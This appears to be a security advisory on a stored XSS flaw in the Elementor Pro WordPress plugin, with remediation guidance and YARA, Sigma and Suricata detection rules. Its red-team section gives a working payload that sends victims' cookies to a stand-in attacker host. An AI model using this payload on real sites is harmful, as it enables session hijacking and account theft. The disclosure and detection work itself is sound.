CVE-2025-3076

Executive Summary

CVE-2025-3076 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder Pro plugin for WordPress. This flaw allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts via the button_text parameter. The vulnerability exists in all versions up to and including 3.29.0 due to insufficient input sanitization and output escaping. When a user accesses a page containing the injected script, it executes in their browser, potentially leading to session hijacking, data theft, or further compromise.

This vulnerability is specific to the WordPress ecosystem and affects the Elementor Pro plugin. It does not involve Apache or Nginx directly.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: Required (victim must visit the injected page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users with low privileges to inject persistent scripts makes this a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the button_text parameter of the Elementor Pro plugin. When a user with Contributor-level or higher privileges creates or edits a page using the Elementor builder, the button_text input is not properly sanitized. This allows the injection of HTML and JavaScript code.

Mechanism:

1. An attacker with Contributor access creates a new page or edits an existing one.
2. In the Elementor editor, they add a widget that uses the button_text parameter (e.g., a button widget).
3. The attacker injects a malicious payload into the button_text field, such as <script>alert('XSS')</script>.
4. The plugin fails to escape the output when rendering the page, so the script is stored in the database.
5. When any user (including administrators) visits the page, the script executes in their browser.

WordPress Context: This is a classic stored XSS in a WordPress plugin. The vulnerability is not in the WordPress core but in the Elementor Pro plugin's handling of user input.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.29.0):

// In a widget render method
echo '<button>' . $settings['button_text'] . '</button>';

The $settings['button_text'] is output directly without escaping.

Patched Code (Hypothetical):

// In a widget render method
echo '<button>' . esc_html( $settings['button_text'] ) . '</button>';

The esc_html() function escapes HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Elementor Pro <= 3.29.0
• Contributor-level account credentials

Exploitation Steps:

1. Log in as a Contributor.
2. Navigate to Pages > Add New.
3. Edit with Elementor.
4. Add a Button widget.
5. In the button text field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
6. Publish the page.
7. Wait for an administrator or other user to visit the page.
8. The script executes, sending the victim's cookies to the attacker's server.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker or XAMPP).
• Install Elementor Pro version 3.29.0.
• Create a Contributor user.
• Set up a simple HTTP server to capture exfiltrated data.

Blue Team

Detection:

• Monitor for unusual button_text values in page/post revisions.
• Look for pages containing <script> tags in the post content.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.

Prevention:

• Update Elementor Pro to the latest patched version.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/elementor-pro/ (check version)
• Database: Look for post_content containing <script> tags in the wp_posts table.
• Network: Outbound connections to unknown domains from the WordPress server.
• Logs: Access logs showing requests to pages with injected scripts.

Detection Engineering

YARA Rule

rule detect_cve_2025_3076_xss {
    meta:
        description = "Detects stored XSS payloads in Elementor Pro button_text"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-3076"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $button_text = /button_text/i
    condition:
        $xss_payload and $button_text
}

Sigma Rule

title: Stored XSS via Elementor Pro button_text
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via the button_text parameter in Elementor Pro
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "elementor"
        http.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3076 Stored XSS in Elementor Pro button_text"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; content:"button_text"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Elementor Pro to the latest version (if a patch is available).
2. Disable Contributor accounts temporarily if the plugin cannot be updated.
3. Review and clean any existing pages for injected scripts.

Long-term Mitigation:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce strict Content Security Policy (CSP) headers.
• Regularly audit user permissions and plugin versions.
• Use security plugins like Wordfence to monitor for malicious activity.

Workaround:

• If patching is not possible, modify the plugin code to use esc_html() on the button_text output (not recommended for production without testing).

Valters IT
Securing Digital Frontiers